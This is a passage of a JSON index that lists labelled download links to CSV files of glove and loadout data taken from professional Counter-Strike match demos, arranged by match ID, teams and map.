            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97836_natus-vincere-vs-g2-m2-anubis.dem.gloves.csv"
          },
          {
            "label": "97836_natus-vincere-vs-g2-m3-inferno.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97836_natus-vincere-vs-g2-m3-inferno.dem.gloves.csv"
          },
          {
            "label": "97857_legacy-vs-mouz-m1-ancient.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97857_legacy-vs-mouz-m1-ancient.dem.gloves.csv"
          },
          {
            "label": "97857_legacy-vs-mouz-m2-inferno.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97857_legacy-vs-mouz-m2-inferno.dem.gloves.csv"
          },
          {
            "label": "97857_legacy-vs-mouz-m3-nuke.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97857_legacy-vs-mouz-m3-nuke.dem.gloves.csv"
          },
          {
            "label": "97934_spirit-vs-mouz-m1-mirage.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97934_spirit-vs-mouz-m1-mirage.dem.gloves.csv"
          },
          {
            "label": "97934_spirit-vs-mouz-m2-dust2.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97934_spirit-vs-mouz-m2-dust2.dem.gloves.csv"
          },
          {
            "label": "97934_spirit-vs-mouz-m3-nuke.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97934_spirit-vs-mouz-m3-nuke.dem.gloves.csv"
          },
          {
            "label": "97954_faze-vs-the-mongolz-m1-mirage.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97954_faze-vs-the-mongolz-m1-mirage.dem.gloves.csv"
          },
          {
            "label": "97954_faze-vs-the-mongolz-m2-anubis.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97954_faze-vs-the-mongolz-m2-anubis.dem.gloves.csv"
          },
          {
            "label": "97995_vitality-vs-the-mongolz-m1-mirage.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97995_vitality-vs-the-mongolz-m1-mirage.dem.gloves.csv"
          },
          {
            "label": "97995_vitality-vs-the-mongolz-m2-dust2.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97995_vitality-vs-the-mongolz-m2-dust2.dem.gloves.csv"
          },
          {
            "label": "97995_vitality-vs-the-mongolz-m3-inferno.dem.gloves.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/97995_vitality-vs-the-mongolz-m3-inferno.dem.gloves.csv"
          },
          {
            "label": "68407_g2-vs-natus-vincere-m1-ancient.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68407_g2-vs-natus-vincere-m1-ancient.dem.loadout.csv"
          },
          {
            "label": "68407_g2-vs-natus-vincere-m2-nuke.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/68407_g2-vs-natus-vincere-m2-nuke.dem.loadout.csv"
          },
          {
            "label": "71910_nip-vs-faze-m1-nuke.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71910_nip-vs-faze-m1-nuke.dem.loadout.csv"
          },
          {
            "label": "71910_nip-vs-faze-m2-overpass.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71910_nip-vs-faze-m2-overpass.dem.loadout.csv"
          },
          {
            "label": "71910_nip-vs-faze-m3-inferno.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71910_nip-vs-faze-m3-inferno.dem.loadout.csv"
          },
          {
            "label": "71939_ence-vs-copenhagen-flames-m1-vertigo.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71939_ence-vs-copenhagen-flames-m1-vertigo.dem.loadout.csv"
          },
          {
            "label": "71939_ence-vs-copenhagen-flames-m2-nuke.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71939_ence-vs-copenhagen-flames-m2-nuke.dem.loadout.csv"
          },
          {
            "label": "71998_faze-vs-natus-vincere-m1-inferno.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71998_faze-vs-natus-vincere-m1-inferno.dem.loadout.csv"
          },
          {
            "label": "71998_faze-vs-natus-vincere-m2-nuke.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/71998_faze-vs-natus-vincere-m2-nuke.dem.loadout.csv"
          },
          {
            "label": "75553_spirit-vs-bad-news-eagles-ancient.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75553_spirit-vs-bad-news-eagles-ancient.dem.loadout.csv"
          },
          {
            "label": "75555_mouz-vs-liquid-inferno.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75555_mouz-vs-liquid-inferno.dem.loadout.csv"
          },
          {
            "label": "75556_sprout-vs-big-vertigo.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75556_sprout-vs-big-vertigo.dem.loadout.csv"
          },
          {
            "label": "75637_outsiders-vs-heroic-m1-mirage.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75637_outsiders-vs-heroic-m1-mirage.dem.loadout.csv"
          },
          {
            "label": "75637_outsiders-vs-heroic-m2-overpass.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/75637_outsiders-vs-heroic-m2-overpass.dem.loadout.csv"
          },
          {
            "label": "79711_9ine-vs-liquid-inferno.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79711_9ine-vs-liquid-inferno.dem.loadout.csv"
          },
          {
            "label": "79712_natus-vincere-vs-gamerlegion-mirage.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79712_natus-vincere-vs-gamerlegion-mirage.dem.loadout.csv"
          },
          {
            "label": "79717_into-the-breach-vs-apeks-mirage.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79717_into-the-breach-vs-apeks-mirage.dem.loadout.csv"
          },
          {
            "label": "79720_bad-news-eagles-vs-ence-vertigo.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79720_bad-news-eagles-vs-ence-vertigo.dem.loadout.csv"
          },
          {
            "label": "79721_liquid-vs-natus-vincere-inferno.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79721_liquid-vs-natus-vincere-inferno.dem.loadout.csv"
          },
          {
            "label": "79723_vitality-vs-ence-vertigo.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79723_vitality-vs-ence-vertigo.dem.loadout.csv"
          },
          {
            "label": "79726_9ine-vs-gamerlegion-mirage.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79726_9ine-vs-gamerlegion-mirage.dem.loadout.csv"
          },
          {
            "label": "79727_bad-news-eagles-vs-g2-ancient.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79727_bad-news-eagles-vs-g2-ancient.dem.loadout.csv"
          },
          {
            "label": "79731_natus-vincere-vs-ninjas-in-pyjamas-overpass.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79731_natus-vincere-vs-ninjas-in-pyjamas-overpass.dem.loadout.csv"
          },
          {
            "label": "79733_ence-vs-into-the-breach-vertigo.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79733_ence-vs-into-the-breach-vertigo.dem.loadout.csv"
          },
          {
            "label": "79734_apeks-vs-bad-news-eagle-ancient.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79734_apeks-vs-bad-news-eagle-ancient.dem.loadout.csv"
          },
          {
            "label": "79735_fnatic-vs-gamerlegion-overpass.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79735_fnatic-vs-gamerlegion-overpass.dem.loadout.csv"
          },
          {
            "label": "79736_monte-vs-vitality-m1-anubis.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79736_monte-vs-vitality-m1-anubis.dem.loadout.csv"
          },
          {
            "label": "79736_monte-vs-vitality-m2-nuke.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79736_monte-vs-vitality-m2-nuke.dem.loadout.csv"
          },
          {
            "label": "79739_9ine-vs-faze-m1-inferno.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79739_9ine-vs-faze-m1-inferno.dem.loadout.csv"
          },
          {
            "label": "79739_9ine-vs-faze-m2-anubis.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79739_9ine-vs-faze-m2-anubis.dem.loadout.csv"
          },
          {
            "label": "79740_heroic-vs-liquid-m1-inferno.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79740_heroic-vs-liquid-m1-inferno.dem.loadout.csv"
          },
          {
            "label": "79740_heroic-vs-liquid-m2-mirage.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79740_heroic-vs-liquid-m2-mirage.dem.loadout.csv"
          },
          {
            "label": "79740_heroic-vs-liquid-m3-ancient.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79740_heroic-vs-liquid-m3-ancient.dem.loadout.csv"
          },
          {
            "label": "79741_furia-vs-g2-m1-inferno.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79741_furia-vs-g2-m1-inferno.dem.loadout.csv"
          },
          {
            "label": "79741_furia-vs-g2-m2-mirage.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79741_furia-vs-g2-m2-mirage.dem.loadout.csv"
          },
          {
            "label": "79744_faze-vs-bad-news-eagles-m1-overpass.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79744_faze-vs-bad-news-eagles-m1-overpass.dem.loadout.csv"
          },
          {
            "label": "79744_faze-vs-bad-news-eagles-m2-mirage.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79744_faze-vs-bad-news-eagles-m2-mirage.dem.loadout.csv"
          },
          {
            "label": "79744_faze-vs-bad-news-eagles-m3-inferno.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79744_faze-vs-bad-news-eagles-m3-inferno.dem.loadout.csv"
          },
          {
            "label": "79746_liquid-vs-into-the-breach-m1-overpass.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79746_liquid-vs-into-the-breach-m1-overpass.dem.loadout.csv"
          },
          {
            "label": "79746_liquid-vs-into-the-breach-m2-anubis.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79746_liquid-vs-into-the-breach-m2-anubis.dem.loadout.csv"
          },
          {
            "label": "79747_fnatic-vs-g2-m1-inferno.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79747_fnatic-vs-g2-m1-inferno.dem.loadout.csv"
          },
          {
            "label": "79747_fnatic-vs-g2-m2-ancient.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79747_fnatic-vs-g2-m2-ancient.dem.loadout.csv"
          },
          {
            "label": "79747_fnatic-vs-g2-m3-vertigo.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79747_fnatic-vs-g2-m3-vertigo.dem.loadout.csv"
          },
          {
            "label": "79756_faze-vs-natus-vincere-m1-overpass.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79756_faze-vs-natus-vincere-m1-overpass.dem.loadout.csv"
          },
          {
            "label": "79756_faze-vs-natus-vincere-m3-anubis.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79756_faze-vs-natus-vincere-m3-anubis.dem.loadout.csv"
          },
          {
            "label": "79758_fnatic-vs-into-the-breach-m1-inferno.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79758_fnatic-vs-into-the-breach-m1-inferno.dem.loadout.csv"
          },
          {
            "label": "79758_fnatic-vs-into-the-breach-m2-overpass.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79758_fnatic-vs-into-the-breach-m2-overpass.dem.loadout.csv"
          },
          {
            "label": "79758_fnatic-vs-into-the-breach-m3-vertigo.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79758_fnatic-vs-into-the-breach-m3-vertigo.dem.loadout.csv"
          },
          {
            "label": "79760_apeks-vs-ninjas-in-pyjamas-m1-vertigo.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79760_apeks-vs-ninjas-in-pyjamas-m1-vertigo.dem.loadout.csv"
          },
          {
            "label": "79760_apeks-vs-ninjas-in-pyjamas-m2-ancient.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79760_apeks-vs-ninjas-in-pyjamas-m2-ancient.dem.loadout.csv"
          },
          {
            "label": "79802_heroic-vs-faze-m1-nuke.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79802_heroic-vs-faze-m1-nuke.dem.loadout.csv"
          },
          {
            "label": "79802_heroic-vs-faze-m2-overpass.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79802_heroic-vs-faze-m2-overpass.dem.loadout.csv"
          },
          {
            "label": "79802_heroic-vs-faze-m3-mirage.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79802_heroic-vs-faze-m3-mirage.dem.loadout.csv"
          },
          {
            "label": "79803_vitality-vs-into-the-breach-m1-vertigo.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79803_vitality-vs-into-the-breach-m1-vertigo.dem.loadout.csv"
          },
          {
            "label": "79803_vitality-vs-into-the-breach-m2-anubis.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79803_vitality-vs-into-the-breach-m2-anubis.dem.loadout.csv"
          },
          {
            "label": "79807_liquid-vs-apeks-m1-ancient.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79807_liquid-vs-apeks-m1-ancient.dem.loadout.csv"
          },
          {
            "label": "79807_liquid-vs-apeks-m2-overpass.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79807_liquid-vs-apeks-m2-overpass.dem.loadout.csv"
          },
          {
            "label": "79831_heroic-vs-gamerlegion-m1-ancient.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79831_heroic-vs-gamerlegion-m1-ancient.dem.loadout.csv"
          },
          {
            "label": "79831_heroic-vs-gamerlegion-m2-inferno.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79831_heroic-vs-gamerlegion-m2-inferno.dem.loadout.csv"
          },
          {
            "label": "79831_heroic-vs-gamerlegion-m3-mirage.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79831_heroic-vs-gamerlegion-m3-mirage.dem.loadout.csv"
          },
          {
            "label": "79832_vitality-vs-apeks-m1-mirage.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79832_vitality-vs-apeks-m1-mirage.dem.loadout.csv"
          },
          {
            "label": "79832_vitality-vs-apeks-m2-vertigo.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79832_vitality-vs-apeks-m2-vertigo.dem.loadout.csv"
          },
          {
            "label": "79841_gamerlegion-vs-vitality-m1-overpass.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79841_gamerlegion-vs-vitality-m1-overpass.dem.loadout.csv"
          },
          {
            "label": "79841_gamerlegion-vs-vitality-m2-nuke.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/79841_gamerlegion-vs-vitality-m2-nuke.dem.loadout.csv"
          },
          {
            "label": "86019_mouz-vs-ecstatic-overpass.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86019_mouz-vs-ecstatic-overpass.dem.loadout.csv"
          },
          {
            "label": "86023_complexity-vs-pain-vertigo.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86023_complexity-vs-pain-vertigo.dem.loadout.csv"
          },
          {
            "label": "86024_faze-vs-heroic-ancient.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86024_faze-vs-heroic-ancient.dem.loadout.csv"
          },
          {
            "label": "86025_g2-vs-furia-inferno.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86025_g2-vs-furia-inferno.dem.loadout.csv"
          },
          {
            "label": "86026_spirit-vs-cloud9-ancient.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86026_spirit-vs-cloud9-ancient.dem.loadout.csv"
          },
          {
            "label": "86029_vitality-vs-themongolz-nuke.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86029_vitality-vs-themongolz-nuke.dem.loadout.csv"
          },
          {
            "label": "86030_mouz-vs-eternal-fire-vertigo.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86030_mouz-vs-eternal-fire-vertigo.dem.loadout.csv"
          },
          {
            "label": "86031_virtuspro-vs-pain-inferno.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86031_virtuspro-vs-pain-inferno.dem.loadout.csv"
          },
          {
            "label": "86032_complexity-vs-heroic-vertigo.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86032_complexity-vs-heroic-vertigo.dem.loadout.csv"
          },
          {
            "label": "86033_cloud9-vs-ecstatic-overpass.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86033_cloud9-vs-ecstatic-overpass.dem.loadout.csv"
          },
          {
            "label": "86035_natus-vincere-vs-g2-nuke.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86035_natus-vincere-vs-g2-nuke.dem.loadout.csv"
          },
          {
            "label": "86036_faze-vs-furia-ancient.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86036_faze-vs-furia-ancient.dem.loadout.csv"
          },
          {
            "label": "86038_spirit-vs-imperial-mirage.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86038_spirit-vs-imperial-mirage.dem.loadout.csv"
          },
          {
            "label": "86044_heroic-vs-virtus-pro-ancient.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86044_heroic-vs-virtus-pro-ancient.dem.loadout.csv"
          },
          {
            "label": "86045_g2-vs-cloud9-anubis.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86045_g2-vs-cloud9-anubis.dem.loadout.csv"
          },
          {
            "label": "86047_eternal-fire-vs-faze-overpass.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86047_eternal-fire-vs-faze-overpass.dem.loadout.csv"
          },
          {
            "label": "86048_imperial-vs-vitality-overpass.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86048_imperial-vs-vitality-overpass.dem.loadout.csv"
          },
          {
            "label": "86050_mouz-vs-complexity-m1-overpass.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86050_mouz-vs-complexity-m1-overpass.dem.loadout.csv"
          },
          {
            "label": "86050_mouz-vs-complexity-m2-ancient.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86050_mouz-vs-complexity-m2-ancient.dem.loadout.csv"
          },
          {
            "label": "86051_pain-vs-themongolz-m1-mirage.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86051_pain-vs-themongolz-m1-mirage.dem.loadout.csv"
          },
          {
            "label": "86051_pain-vs-themongolz-m2-nuke.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86051_pain-vs-themongolz-m2-nuke.dem.loadout.csv"
          },
          {
            "label": "86051_pain-vs-themongolz-m3-inferno.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86051_pain-vs-themongolz-m3-inferno.dem.loadout.csv"
          },
          {
            "label": "86053_spirit-vs-natus-vincere-m1-nuke.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86053_spirit-vs-natus-vincere-m1-nuke.dem.loadout.csv"
          },
          {
            "label": "86053_spirit-vs-natus-vincere-m2-ancient.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86053_spirit-vs-natus-vincere-m2-ancient.dem.loadout.csv"
          },
          {
            "label": "86053_spirit-vs-natus-vincere-m3-mirage.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86053_spirit-vs-natus-vincere-m3-mirage.dem.loadout.csv"
          },
          {
            "label": "86055_ecstatic-vs-furia-m1-overpass.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86055_ecstatic-vs-furia-m1-overpass.dem.loadout.csv"
          },
          {
            "label": "86055_ecstatic-vs-furia-m2-inferno.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86055_ecstatic-vs-furia-m2-inferno.dem.loadout.csv"
          },
          {
            "label": "86055_ecstatic-vs-furia-m3-ancient.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86055_ecstatic-vs-furia-m3-ancient.dem.loadout.csv"
          },
          {
            "label": "86061_imperial-vs-faze-m1-nuke.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86061_imperial-vs-faze-m1-nuke.dem.loadout.csv"
          },
          {
            "label": "86061_imperial-vs-faze-m2-anubis.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86061_imperial-vs-faze-m2-anubis.dem.loadout.csv"
          },
          {
            "label": "86061_imperial-vs-faze-m3-mirage.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86061_imperial-vs-faze-m3-mirage.dem.loadout.csv"
          },
          {
            "label": "86063_eternal-fire-vs-virtus-pro-m1-overpass.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86063_eternal-fire-vs-virtus-pro-m1-overpass.dem.loadout.csv"
          },
          {
            "label": "86063_eternal-fire-vs-virtus-pro-m2-vertigo.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86063_eternal-fire-vs-virtus-pro-m2-vertigo.dem.loadout.csv"
          },
          {
            "label": "86063_eternal-fire-vs-virtus-pro-m3-inferno.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86063_eternal-fire-vs-virtus-pro-m3-inferno.dem.loadout.csv"
          },
          {
            "label": "86064_ecstatic-vs-g2-m1-inferno.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86064_ecstatic-vs-g2-m1-inferno.dem.loadout.csv"
          },
          {
            "label": "86064_ecstatic-vs-g2-m2-vertigo.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86064_ecstatic-vs-g2-m2-vertigo.dem.loadout.csv"
          },
          {
            "label": "86064_ecstatic-vs-g2-m3-anubis.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86064_ecstatic-vs-g2-m3-anubis.dem.loadout.csv"
          },
          {
            "label": "86065_complexity-vs-vitality-m1-inferno.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86065_complexity-vs-vitality-m1-inferno.dem.loadout.csv"
          },
          {
            "label": "86065_complexity-vs-vitality-m2-vertigo.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86065_complexity-vs-vitality-m2-vertigo.dem.loadout.csv"
          },
          {
            "label": "86065_complexity-vs-vitality-m3-anubis.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86065_complexity-vs-vitality-m3-anubis.dem.loadout.csv"
          },
          {
            "label": "86066_heroic-vs-pain-m1-nuke.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86066_heroic-vs-pain-m1-nuke.dem.loadout.csv"
          },
          {
            "label": "86066_heroic-vs-pain-m2-mirage.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86066_heroic-vs-pain-m2-mirage.dem.loadout.csv"
          },
          {
            "label": "86069_cloud9-vs-natus-vincere-m1-mirage.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86069_cloud9-vs-natus-vincere-m1-mirage.dem.loadout.csv"
          },
          {
            "label": "86069_cloud9-vs-natus-vincere-m2-ancient.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86069_cloud9-vs-natus-vincere-m2-ancient.dem.loadout.csv"
          },
          {
            "label": "86069_cloud9-vs-natus-vincere-m3-overpass.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86069_cloud9-vs-natus-vincere-m3-overpass.dem.loadout.csv"
          },
          {
            "label": "86074_complexity-vs-faze-m1-nuke.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86074_complexity-vs-faze-m1-nuke.dem.loadout.csv"
          },
          {
            "label": "86074_complexity-vs-faze-m2-overpass.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86074_complexity-vs-faze-m2-overpass.dem.loadout.csv"
          },
          {
            "label": "86076_virtus-pro-vs-g2-m1-overpass.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86076_virtus-pro-vs-g2-m1-overpass.dem.loadout.csv"
          },
          {
            "label": "86076_virtus-pro-vs-g2-m2-inferno.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86076_virtus-pro-vs-g2-m2-inferno.dem.loadout.csv"
          },
          {
            "label": "86076_virtus-pro-vs-g2-m3-anubis.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86076_virtus-pro-vs-g2-m3-anubis.dem.loadout.csv"
          },
          {
            "label": "86078_natus-vincere-vs-pain-m1-nuke.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86078_natus-vincere-vs-pain-m1-nuke.dem.loadout.csv"
          },
          {
            "label": "86078_natus-vincere-vs-pain-m2-mirage.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86078_natus-vincere-vs-pain-m2-mirage.dem.loadout.csv"
          },
          {
            "label": "86154_cloud9-vs-vitality-m1-inferno.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86154_cloud9-vs-vitality-m1-inferno.dem.loadout.csv"
          },
          {
            "label": "86154_cloud9-vs-vitality-m2-anubis.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86154_cloud9-vs-vitality-m2-anubis.dem.loadout.csv"
          },
          {
            "label": "86162_spirit-vs-faze-m1-mirage.dem.loadout.csv ↓",
            "url": "https://phishdestroy.io/steam_dossier/major_skins_assets/raw/86162_spirit-vs-faze-m1-mirage.dem.loadout.csv"
          },
          {
